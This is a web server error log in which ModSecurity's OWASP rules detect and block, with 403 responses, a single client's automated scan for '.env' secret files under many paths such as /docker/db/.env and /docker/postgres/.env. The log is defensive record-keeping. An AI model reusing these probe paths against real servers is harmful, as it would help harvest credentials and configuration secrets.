[Wed Feb 25 06:05:02.268877 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/db/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/db/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXRwAAAAQ&quot;]
[Wed Feb 25 06:05:02.269166 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/db/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXRwAAAAQ&quot;]
[Wed Feb 25 06:05:02.269364 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/db/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXRwAAAAQ&quot;]
[Wed Feb 25 06:05:02.293507 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW1AAAAAI&quot;]
[Wed Feb 25 06:05:02.293782 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW1AAAAAI&quot;]
[Wed Feb 25 06:05:02.293968 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW1AAAAAI&quot;]
[Wed Feb 25 06:05:02.317873 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cronlab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW1QAAAAI&quot;]
[Wed Feb 25 06:05:02.318307 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW1QAAAAI&quot;]
[Wed Feb 25 06:05:02.318626 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW1QAAAAI&quot;]
[Wed Feb 25 06:05:02.335466 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/dev/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXSAAAAAQ&quot;]
[Wed Feb 25 06:05:02.335734 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/dev/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXSAAAAAQ&quot;]
[Wed Feb 25 06:05:02.335906 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/dev/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXSAAAAAQ&quot;]
[Wed Feb 25 06:05:02.401326 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cryo_project/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cryo_project/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW1gAAAAI&quot;]
[Wed Feb 25 06:05:02.401623 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cryo_project/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW1gAAAAI&quot;]
[Wed Feb 25 06:05:02.401816 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cryo_project/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW1gAAAAI&quot;]
[Wed Feb 25 06:05:02.436747 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /css/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW1wAAAAI&quot;]
[Wed Feb 25 06:05:02.437039 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW1wAAAAI&quot;]
[Wed Feb 25 06:05:02.437244 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW1wAAAAI&quot;]
[Wed Feb 25 06:05:02.492995 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/examples/compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/examples/compose/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXSQAAAAQ&quot;]
[Wed Feb 25 06:05:02.493286 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/examples/compose/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXSQAAAAQ&quot;]
[Wed Feb 25 06:05:02.493496 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/examples/compose/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXSQAAAAQ&quot;]
[Wed Feb 25 06:05:02.498682 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /custom/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW2AAAAAI&quot;]
[Wed Feb 25 06:05:02.498942 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW2AAAAAI&quot;]
[Wed Feb 25 06:05:02.499105 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW2AAAAAI&quot;]
[Wed Feb 25 06:05:02.521344 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /d/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/d/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW2QAAAAI&quot;]
[Wed Feb 25 06:05:02.521624 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/d/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW2QAAAAI&quot;]
[Wed Feb 25 06:05:02.521815 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/d/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW2QAAAAI&quot;]
[Wed Feb 25 06:05:02.660797 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/postgres/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/postgres/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXSgAAAAQ&quot;]
[Wed Feb 25 06:05:02.661052 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/postgres/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXSgAAAAQ&quot;]
[Wed Feb 25 06:05:02.661212 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/postgres/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXSgAAAAQ&quot;]
[Wed Feb 25 06:05:02.694292 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/webdav/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/webdav/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXSwAAAAQ&quot;]
[Wed Feb 25 06:05:02.694660 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/webdav/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXSwAAAAQ&quot;]
[Wed Feb 25 06:05:02.694857 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/webdav/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXSwAAAAQ&quot;]
